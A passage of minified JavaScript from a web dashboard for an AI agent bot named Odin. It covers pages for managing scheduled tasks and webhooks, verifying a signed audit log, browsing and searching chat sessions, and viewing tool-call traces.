${Fe}m`:`in ${le}h`}const st=Math.floor($e/86400);return`in ${st} day${st!==1?"s":""}`}function re(ae){return ae==null?"-":ae<1e3?`${ae}ms`:ae<6e4?`${(ae/1e3).toFixed(1)}s`:Pl(ae/1e3)}function K(ae=o.value.cron){o.value.cron=ae,VB(o.value,"cron"),_.value=null}function _e(ae=o.value.run_at){o.value.run_at=ae,VB(o.value,"run_at"),_.value=null}function Ge(ae){return KB(L.value[ae.id]||"")}function de(ae,Se){L.value[ae]=Se,delete O.value[ae]}function ue(ae,Se){O.value[ae]=Se===""?null:Number(Se)}async function ve(ae){let Se;try{Se=vD(Ge(ae),O.value[ae.id])}catch(Te){Ie.error(Te.message);return}S.value=ae.id;try{const Te=await U.put(`/api/schedules/${encodeURIComponent(ae.id)}`,{run_at:Se});Te!=null&&Te.inert_reason||Te!=null&&Te.paused?Ie.error(`Schedule remains paused and inert: ${Te.inert_reason||"the server kept it paused"}`):(Ie.success("Schedule re-armed for the new run time"),delete L.value[ae.id],delete O.value[ae.id]),await De()}catch(Te){V(Te),Ie.error(Te.message||"Failed to re-arm schedule")}finally{S.value=null}}async function $(){const ae=o.value.cron.trim();if(ae){C.value=!0;try{_.value=await U.post("/api/schedules/validate-cron",{expression:ae})}catch(Se){_.value={valid:!1,error:Se.message}}C.value=!1}}const se=fi(()=>{e.value=!1});async function De(){const ae=se();e.value=!0,s.value=null;try{const Se=await U.get("/api/schedules");if(!ae())return;t.value=Se}catch(Se){if(!ae())return;s.value=Se.message}ae()&&(e.value=!1)}const E=fi();async function M(){const ae=E();try{const Se=await U.get("/api/schedules/status");if(!ae())return;n.value=ec(Se)}catch(Se){if(!ae())return;n.value=WB(Se)||ec(null)}}function V(ae){const Se=WB(ae);Se&&(n.value=Se)}async function Ce(ae){if(I.value===ae){I.value=null,J.value=[];return}I.value=ae,ie.value=!0,J.value=[];const Se=++R;try{const Te=await U.get(`/api/schedules/${encodeURIComponent(ae)}/history?limit=10`);if(Se!==R||I.value!==ae)return;J.value=Te,te.value=""}catch(Te){if(Se!==R||I.value!==ae)return;J.value=[],te.value=Te.message||"Failed to load execution history"}Se===R&&(ie.value=!1)}async function fe(){if(u.value=null,!p(o.value.action)){u.value=Ao(n.value);return}const ae=o.value;if(!ae.description.trim()){u.value="Description is required";return}if(ae.action!=="webhook"&&!ae.channel_id.trim()){u.value="Channel ID is required";return}if(!ae.cron.trim()&&!ae.run_at.trim()){u.value="Cron expression or run_at time is required";return}if(ae.cron.trim()&&ae.run_at.trim()){u.value="Choose either Cron or One-Time, not both";return}const Se={description:ae.description.trim(),action:ae.action,channel_id:ae.channel_id.trim()};if(ae.cron.trim()&&(Se.cron=ae.cron.trim()),ae.run_at.trim()){const Te=h.value;if(Te.state==="nonexistent"){u.value="That local time does not exist (daylight saving gap)";return}if(Te.state==="invalid"){u.value="One-time run time is not a valid date";return}const $e=b.value;if(Te.state==="ambiguous"&&B.value===null){u.value="That local time happens twice — choose which occurrence to use";return}if(!$e){u.value="One-time run time could not be resolved";return}Se.run_at=$e.toISOString()}if(ae.action==="reminder"&&ae.message.trim()&&(Se.message=ae.message.trim()),ae.action==="check"&&(ae.tool_name.trim()&&(Se.tool_name=ae.tool_name.trim()),ae.report_format&&(Se.report_format=ae.report_format),ae.tool_input_str.trim()))try{Se.tool_input=JSON.parse(ae.tool_input_str.trim())}catch{u.value="Tool input must be valid JSON";return}if(ae.action==="workflow")try{const Te=JSON.parse(ae.steps_str);if(!Array.isArray(Te)||!Te.length||Te.some($e=>!$e||typeof $e!="object"||typeof $e.tool_name!="string"||!$e.tool_name.trim()||!$e.tool_input||typeof $e.tool_input!="object"||Array.isArray($e.tool_input)||$e.condition!=null&&typeof $e.condition!="string"||$e.on_failure!=null&&!["abort","continue"].includes($e.on_failure)))throw new Error("invalid steps");Se.steps=Te}catch{u.value="Workflow steps must be a non-empty JSON array with tool_name and tool_input objects; on_failure is abort or continue";return}if(ae.action==="webhook"){if(!ae.webhook_url.trim()){u.value="Webhook URL is required";return}const Te={url:ae.webhook_url.trim(),method:ae.webhook_method};if(ae.webhook_headers_str.trim())try{const $e=JSON.parse(ae.webhook_headers_str.trim());if(!$e||Array.isArray($e)||typeof $e!="object")throw new Error("not an object");Te.headers=$e}catch{u.value="Webhook headers must be a valid JSON object";return}if(ae.webhook_body&&(Te.body=ae.webhook_body),ae.webhook_expected_status_str.trim()){const $e=ae.webhook_expected_status_str.split(",").map(st=>Number(st.trim()));if($e.some(st=>!Number.isInteger(st)||st<100||st>599)){u.value="Expected status codes must be comma-separated HTTP codes";return}Te.expected_status_codes=$e}Se.webhook_config=Te}c.value=!0;try{await U.post("/api/schedules",Se),Ie.success("Schedule created"),o.value={description:"",action:"reminder",channel_id:"",cron:"",run_at:"",message:"",tool_name:"",tool_input_str:"",steps_str:"",report_format:"",webhook_url:"",webhook_method:"POST",webhook_headers_str:"",webhook_body:"",webhook_expected_status_str:""},_.value=null,r.value=!1,await De()}catch(Te){V(Te),u.value=Te.message}c.value=!1}async function be(ae){if(!p(ae.action)){Ie.error(Ao(n.value));return}const Se=ae.id;m.value=Se;try{const Te=await U.post(`/api/schedules/${encodeURIComponent(Se)}/run`);if(Te.status==="failure")Ie.error(`Execution failed: ${Te.error||"unknown error"}`);else{const $e=Te.warning?`Executed (${Te.warning})`:"Executed successfully";Ie.success($e)}await De()}catch(Te){V(Te),Ie.error(Te.message||"Failed to trigger")}m.value=null}async function Ae(ae){if(ae.paused&&!p(ae.action)){Ie.error(Ao(n.value));return}k.value=ae.id;const Se=!ae.paused;try{const Te=await U.put(`/api/schedules/${encodeURIComponent(ae.id)}`,{paused:Se});!Se&&(Te!=null&&Te.inert_reason)?Ie.error(`Schedule remains paused and inert: ${Te.inert_reason}`):Ie.success(Se?"Schedule paused":"Schedule resumed"),await De()}catch(Te){V(Te),Ie.error(Te.message||"Failed to update schedule")}k.value=null}const W=new Map;function pe(ae,Se){const Te=W.get(ae.id);Te&&clearTimeout(Te.timer);const $e={run:()=>ne(ae,Se),timer:null};$e.timer=setTimeout(()=>{W.delete(ae.id),$e.run()},500),W.set(ae.id,$e)}async function ne(ae,Se){A.value=ae.id;try{await U.put(`/api/schedules/${encodeURIComponent(ae.id)}`,{report_format:Se}),Ie.success(Se?"Structured report enabled":"Plain-text report enabled")}catch(Te){Ie.error(`Update failed: ${Te.message}`)}finally{await De(),A.value=null}}function ke(){for(const[ae,Se]of[...W])clearTimeout(Se.timer),W.delete(ae),Se.run()}async function we(ae){x.value=ae;try{await U.post(`/api/schedules/${encodeURIComponent(ae)}/reset-failures`),Ie.success("Failure counters reset"),await De()}catch(Se){Ie.error(Se.message||"Failed to reset")}x.value=null}async function Le(ae){const Se=t.value.find($e=>$e.id===ae);if(await Es({title:"Delete schedule",message:`Delete "${(Se==null?void 0:Se.description)||ae}"? This cannot be undone.`,confirmLabel:"Delete",danger:!0})){y.value=ae;try{await U.del(`/api/schedules/${encodeURIComponent(ae)}`),Ie.success("Schedule deleted"),await De()}catch($e){Ie.error($e.message||"Failed to delete schedule")}y.value=null}}let je=!1;function tt(){je||(je=!0,De(),M(),l=setInterval(M,gD))}function lt(){je=!1,ke(),l&&clearInterval(l),l=null}return dt(tt),hs(tt),as(lt),It(lt),{schedules:t,loading:e,error:s,schedulingAvailable:a,schedulingAvailabilityMessage:i,selectedActionAvailable:d,actionAvailable:p,showCreate:r,form:o,creating:c,createError:u,runAtUtcPreview:w,runAtAnalysis:h,runAtOccurrence:B,cronResult:_,validatingCron:C,cronPresets:v,runningId:m,deletingId:y,togglingId:k,resettingId:x,reportUpdatingId:A,flushReportFormatTimers:ke,rearmingId:S,rearmRunAt:L,rearmOccurrences:O,rearmAnalysis:Ge,expandedId:I,history:J,historyLoading:ie,historyError:te,cronCount:j,oneTimeCount:N,webhookCount:z,pausedCount:ee,failingCount:Q,formatTs:Ki,formatAge:ub,formatFuture:Y,formatMs:re,formatDuration:Pl,onCronInput:K,onRunAtInput:_e,validateCron:$,toggleExpand:Ce,fetchSchedules:De,fetchSchedulingAvailability:M,doCreate:fe,doRunNow:be,doTogglePause:Ae,doUpdateReportFormat:pe,doResetFailures:we,doDelete:Le,setRearmRunAt:de,setRearmOccurrence:ue,doRearmSchedule:ve}}},hb=[{id:"live",label:"Live",component:aD},{id:"agents",label:"Agents",component:uD},{id:"loops",label:"Loops",component:dD},{id:"processes",label:"Processes",component:pD},{id:"schedules",label:"Schedules",component:bD}],CD={components:{TabbedPage:iu},setup(){return{tabs:hb}},template:''},Fd=/^\d{15,25}$/,Ro=new Map,Io=new Map;let Oo=null,Lo=null;async function yD(){return Oo||(Lo||(Lo=U.get("/api/discord/members").then(t=>(Oo=Array.isArray(t)?t:[],Oo)).catch(()=>[]).finally(()=>{Lo=null})),Lo)}async function xD(t){if(!Fd.test(String(t)))return null;const e=(await yD()).find(s=>String(s.id)===String(t));return e?(Ro.set(String(t),e),e):Ro.has(String(t))?Ro.get(String(t)):(Io.has(String(t))||Io.set(String(t),U.get(`/api/discord/users/${encodeURIComponent(t)}`).then(s=>(s==null?void 0:s.user)||null).catch(()=>null).then(s=>(s&&Ro.set(String(t),s),Io.delete(String(t)),s))),Io.get(String(t)))}const hi={props:{userId:{type:[String,Number],required:!0},members:{type:Array,default:()=>[]},showId:{type:Boolean,default:!0},fallbackLabel:{type:String,default:""}},template:` + + + {{ displayFallback }} + {{ userId }} + + `,setup(t){const e=f(null),s=G(()=>(t.members||[]).find(r=>String(r.id)===String(t.userId))||null),n=G(()=>{var r;return s.value||(String((r=e.value)==null?void 0:r.id)===String(t.userId)?e.value:null)}),a=G(()=>Fd.test(String(t.userId))?t.userId:t.fallbackLabel||t.userId);let i=0;async function l(){const r=++i,o=String(t.userId);if(e.value=null,Fd.test(o)&&!s.value){const c=await xD(o);r===i&&o===String(t.userId)&&(e.value=c)}}return us(()=>[t.userId,t.members],l,{deep:!0}),dt(l),{identity:n,displayFallback:a}}},wD={components:{DiscordIdentity:hi},template:` +
    +
    +

    Audit Log

    +
    + + +
    +
    + + +
    +

    Verification failed: {{ verifyError }}

    +
    +
    +

    Tamper-evidence is not enabled — no signing key is configured, so the chain cannot be verified.

    +
    +
    +

    + Chain valid — {{ verifyResult.verified }} signed entr{{ verifyResult.verified === 1 ? 'y' : 'ies' }} verified across {{ (verifyResult.segments || []).length }} retained file{{ (verifyResult.segments || []).length === 1 ? '' : 's' }}. +

    +

    + Chain INVALID — problem in {{ verifyResult.first_bad_file }}{{ verifyResult.first_bad ? ' at line ' + verifyResult.first_bad : '' }}. +

    +

    + {{ verifyResult.unsigned_prefix.toLocaleString() }} older entries predate signing and are permanently unsigned — expected, not tampering. +

    +
      +
    • + {{ seg.file }}{{ seg.position === 0 ? ' (current)' : '' }}: {{ segmentText(seg) }} +
    • +
    +

    + Each file is verified on its own from its first entry. Files already removed by rotation, or deleted by hand from the oldest end, cannot be detected. +

    +
    + + +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    + + +
    +
    + +
    +
    +
    + + +
    +
    +
    + +
    + + No audit entries found + Try adjusting your filters or wait for tool executions to appear +
    +
    +
    Showing {{ entries.length }} entries
    +
    + + + + + + + + + + + + + + +
    TimestampToolUserHostDurationStatus
    +
    + +
    +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(null),a=f({tool:"",user:"",keyword:"",date:"",limit:50});function i(w){if(!w)return"";if(typeof w=="string")return w;try{return JSON.stringify(w,null,2)}catch{return String(w)}}function l(w){n.value=n.value===w?null:w}function r(){a.value={tool:"",user:"",keyword:"",date:"",limit:50},b()}let o=0;const c=f(!1),u=f(null),d=f(null);async function p(){c.value=!0,d.value=null;try{u.value=await U.get("/api/audit/verify")}catch(w){w.status===409&&w.data&&typeof w.data=="object"?u.value=w.data.availability==="not_enabled"?{...w.data,not_enabled:!0}:w.data:(u.value=null,d.value=w.message||"verification request failed")}c.value=!1}function B(w){return w.status==="verified"||w.status==="unsigned"}function h(w){const _=v=>Number(v||0).toLocaleString();if(w.status==="verified"){if(!w.total)return"no entries yet";const v=w.unsigned_prefix>0?`; ${_(w.unsigned_prefix)} older entries predate signing`:"";return`verified — ${_(w.verified)} signed entries${v}`}if(w.status==="unsigned")return"no signatures — written before signing was enabled, so it cannot be verified";if(w.status==="unreadable")return`could not be read (${w.error||"error"})`;if(w.status==="missing")return"missing — newer and older files exist, but this one does not";const C=`${_(w.verified)} entries verified before it; later lines not checked`;return w.reason==="hmac_mismatch"?`break at line ${w.first_bad} — entry altered, reordered, or signed with a different key; ${C}`:w.reason==="signing_gap"?"no signatures although older files are signed — signing was switched off for this period, or signatures were removed":w.reason==="unsigned_after_signed"?`break at line ${w.first_bad} — unsigned entry after signed ones (signing was switched off, or a line was inserted); ${C}`:`break at line ${w.first_bad} — not a valid audit entry; ${C}`}async function b(){const w=++o;e.value=!0,s.value=null,n.value=null;try{const _=new URLSearchParams;a.value.tool&&_.set("tool",a.value.tool),a.value.user&&_.set("user",a.value.user),a.value.keyword&&_.set("q",a.value.keyword),a.value.date&&_.set("date",a.value.date),_.set("limit",String(a.value.limit));const C=_.toString(),v=await U.get(`/api/audit${C?"?"+C:""}`);if(w!==o)return;t.value=Array.isArray(v)?v:[]}catch(_){if(w!==o)return;s.value=_.message}w===o&&(e.value=!1)}return dt(()=>{b()}),{entries:t,loading:e,error:s,expandedIdx:n,filters:a,formatTs:Ki,formatDetail:i,truncateBlock:db,toggleExpand:l,clearFilters:r,fetchAudit:b,verifying:c,verifyResult:u,verifyError:d,verifyIntegrity:p,segmentOk:B,segmentText:h}}};function gb(){const t=f(Date.now());let e=null;function s(){t.value=Date.now(),e===null&&(e=setInterval(()=>{t.value=Date.now()},1e3))}function n(){e!==null&&clearInterval(e),e=null}return dt(s),hs(s),as(n),It(n),t}const YB=[{id:"all",name:"All Sessions",icon:"list",filters:{}},{id:"active",name:"Recently Active",icon:"activity",filters:{minAge:0,maxAge:3600}},{id:"discord",name:"Discord Only",icon:"message",filters:{source:"discord"}},{id:"web",name:"Web Only",icon:"globe",filters:{source:"web"}},{id:"long",name:"Long Conversations",icon:"book",filters:{minMessages:10}},{id:"compacted",name:"Compacted",icon:"archive",filters:{hasCompaction:!0}}],_D=[{value:"last_active",label:"Last Active"},{value:"created_at",label:"Created"},{value:"message_count",label:"Message Count"}],ED={components:{DiscordIdentity:hi},template:` +
    + +
    +
    +

    Sessions

    +

    + {{ sessions.length }} session{{ sessions.length !== 1 ? 's' : '' }} + + · {{ filteredSessions.length }} shown + +

    +
    +
    + + +
    +
    + + +
    +
    + +
    +
    + + + + + +
    + +
    + + +
    + +
    +
    + + +
    +
    +
    + + +
    +
    + Search History + Full-text search across all sessions and archives +
    +
    +
    + +
    + + + + +
    + +
    +
    Searching... +
    + +
    +
    Previous results — not current for these filters.
    +
    No results found
    +
    +
    {{ ftsResults.length }} result{{ ftsResults.length !== 1 ? 's' : '' }}
    +
    +
    +
    + {{ r.type }} + {{ r.channel_id }} + + {{ r.author }} + + {{ formatTimestamp(r.timestamp) }} + + + score: {{ Math.abs(r.rank).toFixed(1) }} + +
    +
    +
    +
    +
    +
    +
    + + +
    +
    +
    + +
    + + No active sessions + Sessions appear when users interact with Odin via Discord or the chat interface +
    +
    + + No sessions match the current filter + +
    +
    + +
    + +
    + +
    +
    + +
    + +
    + +
    +
    +
    + {{ s.channel_id }} + {{ s.message_count }} msg + compacted +
    +
    + Active {{ formatAge(s.last_active) }} · Created {{ formatAge(s.created_at) }} + · +
    +
    +
    + + + + +
    +
    + + +
    +
    + + {{ p.role === 'user' ? 'USER' : 'ODIN' }}: + + {{ p.content || '(empty)' }} +
    +
    + + +
    +
    +
    Loading... +
    +
    + +
    +
    Compacted Summary
    +
    {{ detail.summary }}
    +
    + + +
    + + + + {{ detail.messages.length }} message{{ detail.messages.length !== 1 ? 's' : '' }} + + · {{ threads.length }} thread{{ threads.length !== 1 ? 's' : '' }} + + +
    + + +
    +
    +
    + #{{ ti + 1 }} + {{ threadSummary(thread) }} + {{ thread.length }} msg + {{ formatTimestamp(thread[0].timestamp) }} + +
    +
    +
    +
    + {{ m.role }} + + + {{ formatTimestamp(m.timestamp) }} + +
    +
    {{ truncateContent(m.content) }}
    +
    +
    +
    + +
    No messages in this session
    +
    + + +
    +
    +
    + + {{ m.role }} + + + {{ formatTimestamp(m.timestamp) }} + +
    +
    {{ truncateContent(m.content) }}
    +
    + +
    No messages in this session
    +
    +
    +
    +
    +
    +
    + + + + + + +
    `,setup(){const t=f([]),e=f(!0),s=f(null),n=f(null),a=f(null),i=f(!1);let l=0;const r=f(null),o=f(!1),c=f(new Set),u=f(!1),d=f("all"),p=f(""),B=f("last_active"),h=f(!1),b=YB,w=_D,_=f([]),C=f(!1),v=f(""),m=f("flat"),y=f(new Set),k=f(""),x=f(""),A=f(""),S=f(null),L=f(!1),O=f(""),I=f(!1);let J=0;us([k,x,A],()=>{J++,L.value=!1,O.value="",I.value=S.value!==null},{flush:"sync"});function ie(){try{const me=localStorage.getItem("odin-session-presets");me&&(_.value=JSON.parse(me))}catch{}}function te(){try{localStorage.setItem("odin-session-presets",JSON.stringify(_.value))}catch{}}const R=G(()=>p.value.trim()!==""||d.value!=="all"),j=gb(),N=G(()=>{let me=[...t.value];const Ke=YB.find(ht=>ht.id===d.value),We=Ke?Ke.filters:{};if(We.source&&(me=me.filter(ht=>ht.source===We.source)),We.minMessages&&(me=me.filter(ht=>ht.message_count>=We.minMessages)),We.hasCompaction&&(me=me.filter(ht=>ht.has_summary)),We.maxAge!=null){const ht=j.value/1e3;me=me.filter(St=>St.last_active&&ht-St.last_active<=We.maxAge)}if(p.value.trim()){const ht=p.value.toLowerCase().trim();me=me.filter(St=>(St.channel_id||"").toLowerCase().includes(ht)||(St.last_user_id||"").toLowerCase().includes(ht)||(St.source||"").toLowerCase().includes(ht))}const gt=B.value,$t=h.value?1:-1;return me.sort((ht,St)=>{const ys=ht[gt]||0,zs=St[gt]||0;return(ys-zs)*$t}),me}),z=G(()=>{if(!a.value||!a.value.messages)return[];const me=a.value.messages;if(me.length===0)return[];const Ke=[];let We=[];for(const gt of me)gt.role==="user"&&We.length>0&&(Ke.push(We),We=[]),We.push(gt);return We.length>0&&Ke.push(We),Ke}),ee=G(()=>N.value.length>0&&c.value.size===N.value.length);function Q(me){const Ke=me.find(We=>We.role==="user");if(Ke&&Ke.content){const We=Ke.content.slice(0,120);return We.lengthKe.id!==me),te(),d.value===me&&(d.value="all")}function de(){d.value="all",p.value="",B.value="last_active",h.value=!1}function ue(me){if(!me)return"—";const Ke=Date.now()/1e3-me;if(Ke<60)return"just now";if(Ke<3600){const gt=Math.floor(Ke/60);return`${gt} minute${gt!==1?"s":""} ago`}if(Ke<86400){const gt=Math.floor(Ke/3600);return`${gt} hour${gt!==1?"s":""} ago`}const We=Math.floor(Ke/86400);return`${We} day${We!==1?"s":""} ago`}function ve(me){if(!me)return"";try{return new Date(me*1e3).toLocaleString([],{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit"})}catch{return""}}function $(me){if(!me)return"";try{return new Date(me*1e3).toLocaleString()}catch{return""}}function se(me){return me==="user"?"bg-gray-900/50 border border-gray-800":me==="assistant"?"bg-indigo-950/30 border border-indigo-900/30":"bg-gray-900/30 border border-gray-800/50"}function De(me){return me==="user"?"sess-msg-user":me==="assistant"?"sess-msg-assistant":"sess-msg-system"}function E(me){return me==="user"?"badge-info":me==="assistant"?"badge-success":"badge-warning"}function M(me){return me==="user"?"sess-dot-user":me==="assistant"?"sess-dot-assistant":"sess-dot-system"}function V(me){return me==="user"?"text-cyan-400":me==="assistant"?"text-indigo-400":"text-gray-500"}function Ce(me){return me?me.length>2e3?me.slice(0,2e3)+` +... (truncated)`:me:""}async function fe(){const me=k.value.trim();if(!me)return;const Ke=++J;L.value=!0,O.value="",I.value=S.value!==null;try{let We=`/api/sessions/search?q=${encodeURIComponent(me)}&limit=50`;x.value.trim()&&(We+=`&channel_id=${encodeURIComponent(x.value.trim())}`),A.value.trim()&&(We+=`&user_id=${encodeURIComponent(A.value.trim())}`);const gt=await U.get(We);if(Ke!==J)return;S.value=gt.results||[],I.value=!1}catch(We){if(Ke!==J)return;O.value=We.message||"Search failed. Please retry."}finally{Ke===J&&(L.value=!1)}}function be(){J++,k.value="",x.value="",A.value="",S.value=null,O.value="",I.value=!1,L.value=!1}function Ae(me){return me?me.replace(/&/g,"&").replace(//g,">").replace(/>>>/g,'').replace(/<<</g,""):""}function W(me){return me==="user"?"fts-result-user":me==="assistant"?"fts-result-assistant":me==="summary"?"fts-result-summary":me==="fts"?"fts-result-fts":me==="channel"?"fts-result-channel":"fts-result-default"}function pe(me){return me==="user"?"badge-info":me==="assistant"?"badge-success":me==="summary"?"badge-warning":me==="fts"?"badge-success":"badge-info"}let ne=0;async function ke(){const me=++ne;e.value=!0,s.value=null;try{const Ke=await U.get("/api/sessions");if(me!==ne)return;t.value=Ke}catch(Ke){if(me!==ne)return;s.value=Ke.message}me===ne&&(e.value=!1)}function we(){s.value=null,ke()}async function Le(me){if(n.value===me){n.value=null,a.value=null,y.value=new Set;return}n.value=me,a.value=null,i.value=!0,y.value=new Set;const Ke=++l;try{const We=await U.get(`/api/sessions/${encodeURIComponent(me)}`);Ke===l&&n.value===me&&(a.value=We)}catch(We){Ke===l&&n.value===me&&(a.value={messages:[],summary:"",error:We.message||"Failed to load session"})}finally{Ke===l&&(i.value=!1)}}function je(me){const Ke=new Set(c.value);Ke.has(me)?Ke.delete(me):Ke.add(me),c.value=Ke}function tt(){ee.value?c.value=new Set:c.value=new Set(N.value.map(me=>me.channel_id))}function lt(me){r.value=me}async function ae(){if(r.value){o.value=!0;try{await U.del(`/api/sessions/${encodeURIComponent(r.value)}`),n.value===r.value&&(n.value=null,a.value=null),c.value.delete(r.value),await ke()}catch(me){s.value=me.message||"Failed to clear session"}o.value=!1,r.value=null}}function Se(){u.value=!0}async function Te(){if(c.value.size!==0){o.value=!0;try{await U.post("/api/sessions/clear-bulk",{channel_ids:[...c.value]}),c.value.has(n.value)&&(n.value=null,a.value=null),c.value=new Set,await ke()}catch(me){s.value=me.message||"Failed to clear sessions"}o.value=!1,u.value=!1}}async function $e(me,Ke){const We=`/api/sessions/${encodeURIComponent(me)}/export?format=${Ke}`;try{const gt=await U.getBlob(We),$t=URL.createObjectURL(gt),ht=document.createElement("a");ht.href=$t,ht.download=`session-${me}.${Ke==="text"?"txt":"json"}`,ht.click(),URL.revokeObjectURL($t)}catch(gt){s.value=gt.message||"Failed to export session"}}let st=null;function le(me){me.payload&&me.payload.channel_id&&(clearTimeout(st),st=setTimeout(()=>{if(ke(),n.value&&me.payload.channel_id===n.value){const Ke=n.value,We=l;U.get(`/api/sessions/${encodeURIComponent(Ke)}`).then(gt=>{We!==l||n.value!==Ke||(a.value=gt)}).catch(()=>{})}},2e3))}let Fe=!1,Ue=null;function Oe(){Fe||(Fe=!0,ke(),wt.subscribe("events",le),Ue=wt.onReconnected(()=>ke()))}dt(()=>{ie(),Oe()}),hs(()=>{Oe()});function He(){Fe&&(Fe=!1,wt.unsubscribe("events",le),Ue&&(Ue(),Ue=null),clearTimeout(st))}return as(He),It(He),{sessions:t,loading:e,error:s,expandedId:n,detail:a,detailLoading:i,clearTarget:r,clearing:o,selected:c,allSelected:ee,bulkClearing:u,activePreset:d,searchQuery:p,sortBy:B,sortAsc:h,filterPresets:b,sortOptions:w,filteredSessions:N,hasActiveFilters:R,customPresets:_,showSavePreset:C,newPresetName:v,threadView:m,threads:z,collapsedThreads:y,ftsQuery:k,ftsChannelId:x,ftsUserId:A,ftsResults:S,ftsSearching:L,ftsError:O,ftsStale:I,formatAge:ue,formatTimestamp:ve,formatFullTimestamp:$,messageClass:se,threadMsgClass:De,roleBadge:E,roleDotClass:M,roleLabelClass:V,truncateContent:Ce,threadSummary:Q,fetchSessions:ke,retry:we,toggleSession:Le,toggleSelect:je,toggleSelectAll:tt,confirmClear:lt,clearSession:ae,confirmBulkClear:Se,doBulkClear:Te,exportSession:$e,applyPreset:re,applyCustomPreset:K,saveCustomPreset:_e,removeCustomPreset:Ge,resetFilters:de,toggleThread:Y,runFtsSearch:fe,clearFtsSearch:be,highlightSnippet:Ae,ftsResultClass:W,ftsTypeBadge:pe}}},kD={props:["trace"],template:` + +
    +
    Context Assembly
    +
    +
    + System tokens + {{ formatTokens(trace.summary?.system_tokens) }} +
    +
    + History tokens + {{ formatTokens(trace.summary?.history_used_tokens) }} +
    +
    + Learned injected + {{ trace.summary?.learned_injected ?? '—' }} + ({{ trace.learned?.mode || '?' }}) + +
    +
    + Continuity + {{ trace.continuity_source || '—' }} +
    +
    + + + + + + + + + + + + +
    SectionTokens
    {{ s.section }}{{ formatTokens(s.tokens) }}
    history ({{ trace.history.kept_recent }} recent + {{ trace.history.kept_relevant }} relevant of {{ trace.history.candidates }}){{ formatTokens(trace.history.used) }}
    +
    + {{ w.code }} +
    +
    + trace truncated ({{ trace.truncation_reason }}) +
    +
    + `,setup(){return{formatTokens:pb}}},DD={components:{ContextAssemblyPanel:kD,DiscordIdentity:hi},template:` +
    +
    +

    Trace Viewer

    +
    + +
    +
    + + +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + Filters +
    + + +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    + + +
    +
    + Trace for message {{ singleTrace.message_id }} + +
    +
    +
    +
    + User + {{ !singleTrace.user_id ? (singleTrace.user_name || '—') : '' }} +
    +
    + Channel + {{ singleTrace.channel_id || '—' }} +
    +
    + Time + {{ formatTs(singleTrace.timestamp) }} +
    +
    + Status + error + handoff + ok +
    +
    + + +
    +
    + Iterations + {{ singleTrace.iteration_count || 0 }} +
    +
    + Tools Used + {{ (singleTrace.tools_used || []).length }} +
    +
    + Duration + {{ formatDuration(singleTrace.total_duration_ms) }} +
    +
    + Tokens + {{ formatTokens(singleTrace.total_input_tokens + singleTrace.total_output_tokens) }} +
    +
    + + +
    +
    User Message
    +
    {{ singleTrace.user_content }}
    +
    + + +
    +
    Tool Chain
    +
    +
    + +
    +
    + #{{ it.iteration + 1 }} +
    + + {{ tc.name || 'unknown' }} + + no tool calls +
    +
    +
    + {{ formatDuration(it.duration_ms) }} + {{ it.input_tokens + it.output_tokens }} tok + +
    +
    + + +
    + +
    +
    +
    +
    +
    {{ Math.round((it.duration_ms / singleTrace.total_duration_ms) * 100) }}% of total
    +
    + + +
    +
    LLM Text
    +
    {{ it.llm_text }}
    +
    + + +
    +
    + Call: {{ tc.name }} +
    +
    {{ formatJSON(tc.input) }}
    +
    + + +
    +
    + Result: {{ tr.name || 'result ' + tri }} +
    +
    {{ truncateBlock(formatJSON(tr.output || tr.result || tr.error || tr), 5000) }}
    +
    +
    +
    +
    +
    + + +
    +
    Final Response
    +
    {{ truncateBlock(singleTrace.final_response, 5000) }}
    +
    + + + + +
    + Tools: + {{ t }} +
    +
    +
    + + +
    +
    +
    +
    + +
    + + No traces found + Traces appear when the bot processes messages with tool calls +
    +
    +
    + Showing {{ entries.length }} traces + ({{ totalSaved }} total saved) +
    + + +
    + + + + + + + + + + + + + + + +
    TimestampUserMessageToolsDurationTokensStatus
    +
    + +
    +
    +
    `,setup(){const t=f([]),e=f([]),s=f(!0),n=f(null),a=f(null),i=f(null),l=f(""),r=f(""),o=f(0),c=f({}),u=f({channel_id:"",user_id:"",tool_name:"",errors_only:!1,limit:50});function d(x){if(!x)return"—";try{const A=new Date(x);return isNaN(A.getTime())?x:A.toLocaleString([],{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit"})}catch{return x}}function p(x){return!x&&x!==0?"—":x<1e3?x+"ms":(x/1e3).toFixed(1)+"s"}function B(x){return!x&&x!==0?"—":x>=1e3?(x/1e3).toFixed(1)+"k":String(x)}function h(x){if(!x)return"";if(typeof x=="string")return x;try{return JSON.stringify(x,null,2)}catch{return String(x)}}function b(x){a.value===x?a.value=null:(a.value=x,c.value={})}function w(x,A){const S=x+"-"+A;c.value={...c.value,[S]:!c.value[S]}}function _(x,A){return!!c.value[x+"-"+A]}function C(){u.value={channel_id:"",user_id:"",tool_name:"",errors_only:!1,limit:50},r.value="",l.value="",i.value=null,y()}async function v(){try{const x=await U.get("/api/trajectories");t.value=x.files||[],o.value=x.count||0}catch{}}let m=0;async function y(){const x=++m;s.value=!0,n.value=null,a.value=null,i.value=null,c.value={};try{if(r.value){const A=new URLSearchParams;A.set("limit",String(u.value.limit));for(const O of["channel_id","user_id","tool_name"])u.value[O]&&A.set(O,u.value[O]);u.value.errors_only&&A.set("errors_only","true");const S=await U.get(`/api/trajectories/${encodeURIComponent(r.value)}?${A}`);if(x!==m)return;let L=S.entries||[];u.value.tool_name&&(L=L.filter(O=>(O.tools_used||[]).includes(u.value.tool_name))),u.value.errors_only&&(L=L.filter(O=>O.is_error)),u.value.channel_id&&(L=L.filter(O=>O.channel_id===u.value.channel_id)),u.value.user_id&&(L=L.filter(O=>O.user_id===u.value.user_id)),e.value=L}else{const A=new URLSearchParams;u.value.channel_id&&A.set("channel_id",u.value.channel_id),u.value.user_id&&A.set("user_id",u.value.user_id),u.value.tool_name&&A.set("tool_name",u.value.tool_name),u.value.errors_only&&A.set("errors_only","true"),A.set("limit",String(u.value.limit));const S=A.toString(),L=await U.get(`/api/trajectories/search/query?${S}`);if(x!==m)return;e.value=L.results||[]}}catch(A){if(x!==m)return;n.value=A.message}x===m&&(s.value=!1)}async function k(){if(!l.value.trim())return;const x=++m;s.value=!0,n.value=null,c.value={};try{const A=await U.get(`/api/trajectories/message/${encodeURIComponent(l.value.trim())}`);if(x!==m)return;i.value=A.entry||null,i.value||(n.value="No trace found for this message 